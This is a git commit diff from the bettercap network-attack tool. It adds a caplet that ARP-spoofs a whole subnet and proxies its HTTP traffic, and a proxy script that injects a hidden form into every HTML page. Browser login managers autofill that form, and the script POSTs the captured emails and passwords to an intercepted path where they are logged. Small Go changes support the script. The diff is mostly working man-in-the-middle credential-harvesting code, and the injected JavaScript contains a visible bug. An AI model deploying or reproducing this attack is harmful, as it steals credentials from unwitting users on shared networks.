new: login manager abuser caplet and script

This commit is contained in:
evilsocket 2018-01-08 02:34:00 +01:00
parent 5b969ffa9e
commit aa25dae73c
5 changed files with 134 additions and 4 deletions

View file

@ -0,0 +1,13 @@
# targeting the whole subnet by default, to make it selective:
#
# sudo ./bettercap-ng -caplet caplets/login-man-abuse.cap -eval "set arp.spoof.targets 192.168.1.53"
set http.proxy.script caplets/login-man-abuse.js
net.recon on
http.proxy on
sleep 1
arp.spoof on

102
caplets/login-man-abuse.js Normal file
View file

@ -0,0 +1,102 @@
/*
* Ref.
* - https://github.com/evilsocket/bettercap-proxy-modules/issues/72
* - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/
*
* The idea:
*
* - On every html page, inject this invisible form who grabs credentials from login managers.
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request.
* - Intercept request, dump credentials, drop client to 404.
*/
var AbuserJavascript =
'var injectForm = function(visible) {' + "\n" +
' var container = document.createElement("div");' + "\n" +
' if (!visible){' + "\n" +
' container.style.display = "none";' + "\n" +
' }' + "\n" +
' var form = document.createElement("form");' + "\n" +
' form.attributes.autocomplete = "on";' + "\n" +
' var emailInput = document.createElement("input");' + "\n" +
' emailInput.attributes.vcard_name = "vCard.Email";' + "\n" +
' emailInput.id = "email";' + "\n" +
' emailInput.type = "email";' + "\n" +
' emailInput.name = "email";' + "\n" +
' form.appendChild(emailInput);' + "\n" +
' var passwordInput = document.createElement("input");' + "\n" +
' passwordInput.id = "password";' + "\n" +
' passwordInput.type = "password";' + "\n" +
' passwordInput.name = "password";' + "\n" +
' form.appendChild(passwordInput);' + "\n" +
' container.appendChild(form);' + "\n" +
' document.body.appendChild(container);' + "\n" +
'};' + "\n" +
'' + "\n" +
'var doPOST = function(data) {' + "\n" +
' var xhr = new XMLHttpRequest();' + "\n" +
'' + "\n" +
' xhr.open("POST", "/login-man-abuser");' + "\n" +
' xhr.setRequestHeader("Content-Type", "application/json");' + "\n" +
' xhr.onload = function() {' + "\n" +
' console.log("Enjoy your coffee!");' + "\n" +
' };' + "\n" +
'' + "\n" +
' xhr.send(JSON.stringify(data));' + "\n" +
'};' + "\n" +
'' + "\n" +
'var sniffInputField = function(fieldId){' + "\n" +
' var inputElement = document.getElementById(fieldId);' + "\n" +
' if (inputElement.value.length){' + "\n" +
' return {fieldId: inputElement.value};' + "\n" +
' }' + "\n" +
' window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms' + "\n" +
'};' + "\n" +
'' + "\n" +
'var sniffInputFields = function(){' + "\n" +
' var inputs = document.getElementsByTagName("input");' + "\n" +
' data = {};' + "\n" +
' for (var i = 0; i < inputs.length; i++) {' + "\n" +
' console.log("Will try to sniff element with id: " + inputs[i].id);' + "\n" +
' output = stringsniffInputField(inputs[i].id);' + "\n" +
' data = Object.assign({}, data, output);' + "\n" +
' }' + "\n" +
' doPOST(data);' + "\n" +
'};' + "\n" +
'' + "\n" +
'var sniffFormInfo = function(visible) {' + "\n" +
' injectForm(visible);' + "\n" +
' sniffInputFields();' + "\n" +
'};' + "\n" +
'' + "\n" +
'sniffFormInfo(false);';
// here we intercept the ajax POST request with leaked credentials.
function onRequest(req, res) {
if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) {
console.log( "[LOGIN MANAGER ABUSER]", req.ReadBody() );
// this was just a fake request we needed to exfiltrate
// credentials to us, drop the connection with an empty 200.
res.Status = 200;
res.ContentType = "text/html";
res.Headers = "Connection: close";
res.Body = "";
res.Updated();
}
}
// inject the javascript in html pages
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('</head>') != -1 ) {
res.Body = body.replace(
'</head>',
'<script type="text/javascript">' + "\n" +
AbuserJavascript +
'</script>' +
'</head>'
);
res.Updated();
}
}
}

View file

@ -2,6 +2,7 @@ package main
import (
"runtime"
"strings"
"github.com/op/go-logging"
@ -35,10 +36,13 @@ func main() {
defer sess.Close()
if *sess.Options.Commands != "" {
if err = sess.Run(*sess.Options.Commands); err != nil {
for _, cmd := range strings.Split(*sess.Options.Commands, ";") {
cmd = strings.Trim(cmd, "\r\n\t ")
if err = sess.Run(cmd); err != nil {
log.Fatal(err)
}
}
}
if *sess.Options.Caplet != "" {
if err = sess.RunCaplet(*sess.Options.Caplet); err != nil {

View file

@ -2,6 +2,7 @@ package session_modules
import (
"fmt"
"io/ioutil"
"net/http"
)
@ -17,6 +18,7 @@ type JSRequest struct {
Hostname string
Headers []JSHeader
Body string
req *http.Request
}
func NewJSRequest(req *http.Request) JSRequest {
@ -33,9 +35,18 @@ func NewJSRequest(req *http.Request) JSRequest {
Path: req.URL.Path,
Hostname: req.Host,
Headers: headers,
req: req,
}
}
func (j *JSRequest) ReadBody() string {
return "TODO: read body"
raw, err := ioutil.ReadAll(j.req.Body)
if err != nil {
log.Errorf("Could not read request body: %s", err)
return ""
}
j.Body = string(raw)
return j.Body
}

View file

@ -108,7 +108,7 @@ func (s *ProxyScript) hasCallback(name string) bool {
func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) {
// convert request and define empty response to be optionally filled
jsreq := NewJSRequest(req)
if err = s.VM.Set("req", jsreq); err != nil {
if err = s.VM.Set("req", &jsreq); err != nil {
log.Errorf("Error while defining request: %s", err)
return
}